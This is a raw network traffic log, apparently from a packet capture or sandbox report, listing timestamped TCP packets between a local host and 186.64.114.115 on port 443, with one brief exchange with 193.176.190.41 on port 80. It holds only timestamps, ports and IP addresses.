Aug 30, 2024 18:13:10.281240940 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.281287909 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.281577110 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.281636953 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.281928062 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.282017946 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.405318022 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.405528069 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.405652046 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.405705929 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.405915022 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.405983925 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.406258106 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.406322956 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.406699896 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.406761885 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.406862020 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.406924009 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.407366991 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.407428980 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.523977995 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.524132013 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.524167061 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.524223089 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.524554968 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.524605989 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.524954081 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.525017023 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.525316954 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.525376081 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.642437935 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.642510891 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.642640114 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.642692089 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.643071890 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.643127918 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.643516064 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.643568039 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.643819094 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.643868923 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.644061089 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.644112110 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.762562037 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.762713909 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.815520048 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.815582037 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.815733910 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.815787077 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.816078901 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.816138029 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.816345930 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.816405058 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.878532887 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.878598928 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.879657030 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.879713058 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.880165100 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.880214930 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.997031927 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.997133970 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.998184919 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.998243093 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.117631912 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.117733955 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.234538078 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.234627962 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.234806061 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.234867096 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.235462904 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.235523939 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.235790968 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.235863924 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.236181021 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.236238003 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.482502937 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.482512951 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.482584000 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.482755899 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.482803106 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.483165026 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.483223915 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.483617067 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.483680964 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.485829115 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.485932112 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.601413965 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.601475000 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.601528883 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.719882011 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.719959021 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.720223904 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.720278978 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.957067966 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.957077980 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.957180023 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.959670067 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.959739923 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:11.960062027 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:11.960130930 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:12.194292068 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:12.194300890 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:12.194411993 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:12.194583893 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:12.194659948 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:12.317487955 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:12.317564964 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:12.435950994 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:12.436028957 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:12.448849916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:12.448925972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:12.554315090 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:12.554393053 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:12.672796965 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:12.672866106 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:12.798834085 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:12.798901081 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:13.032881021 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:13.032893896 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:13.032960892 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:13.033365011 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:13.033421993 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:13.427370071 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:13.427385092 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:13.427468061 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:13.427645922 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:13.427704096 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:13.578917980 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:13.579077005 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:13.697984934 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:13.698090076 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:13.816643953 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:13.816710949 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:13.935683966 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:13.935806990 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:14.053771019 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:14.053879976 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:14.176584005 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:14.176692009 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:14.414290905 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:14.414304972 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:14.414374113 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:14.414724112 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:14.414783001 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:14.572388887 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:14.572473049 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:14.770695925 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:14.770800114 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:14.888210058 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:14.888365030 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:14.928085089 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:14.928200006 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.046978951 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.047053099 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.165783882 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.165889025 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.284451008 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.284599066 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.402450085 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.402535915 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.487236023 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.487401009 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.537261963 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.537518024 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.669580936 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.669667959 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.725938082 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.726031065 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.844465017 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.844549894 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.893177032 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.893269062 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:15.963119984 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:15.963366032 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:16.013101101 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:16.013199091 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:16.081943989 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:16.082029104 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:16.318286896 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:16.318295956 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:16.318356991 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:16.318547964 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:16.318604946 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:16.318849087 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:16.318911076 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:16.536721945 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:16.536735058 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:16.536834002 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:16.674710989 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:16.674835920 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:16.792902946 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:16.792994022 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.919588089 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.919600010 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.919667959 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.921221018 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.921288967 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.926161051 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.926234007 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.926235914 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.926244974 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.926282883 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.926294088 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.926299095 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.926305056 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.926341057 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.926426888 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.926470995 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.926479101 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.926482916 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.926520109 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.926934004 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.927073956 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.927628040 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.927699089 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:17.980544090 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:17.980670929 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.099195957 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.099319935 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.218487978 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.218723059 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.264291048 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.264503956 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.392404079 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.392487049 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.454869986 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.455060959 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.574301004 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.574470997 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.629996061 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.630177975 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.747673035 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.747860909 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.809792995 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.809917927 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.866514921 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.866646051 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:18.985199928 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:18.985291004 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.046648026 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.046742916 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.103986025 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.104062080 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.172264099 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.172333956 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.222269058 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.222336054 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.290627003 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.290728092 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.340770960 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.340840101 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.409317970 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.409392118 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.646188021 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.646198988 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.646318913 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.646481037 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.646542072 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.646712065 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.646770000 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.696763039 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.696860075 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:19.814713955 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:19.814814091 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.051706076 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.051722050 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.051827908 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.051923990 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.051948071 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.051981926 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.051990986 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.170056105 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.170134068 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.288728952 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.288827896 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.407466888 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.407578945 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.525927067 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.526040077 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.526109934 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.526170969 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.763082027 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.763094902 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.763211012 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.763392925 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.763485909 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.881561995 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:20.881705046 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:20.999948978 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.000128031 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.118197918 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.118359089 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.118397951 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.118408918 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.118462086 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.236561060 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.236658096 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.355009079 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.355087042 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.405411959 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.405495882 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.473537922 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.473639965 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.592180967 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.592339993 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.641869068 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.642005920 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.711236954 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.711401939 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.760600090 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.760718107 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.996958971 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.996970892 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.997031927 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:21.997284889 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:21.997344017 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:22.066696882 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:22.066836119 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:22.158998966 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:22.159161091 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:22.277540922 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:22.277686119 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:22.303836107 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:22.304083109 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:22.422055006 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:22.422142982 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:22.541651011 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:22.541726112 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:22.575483084 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:22.575573921 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:22.693816900 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:22.693984032 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:23.058998108 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:23.059007883 CEST	443	49734	186.64.114.115	192.168.2.4
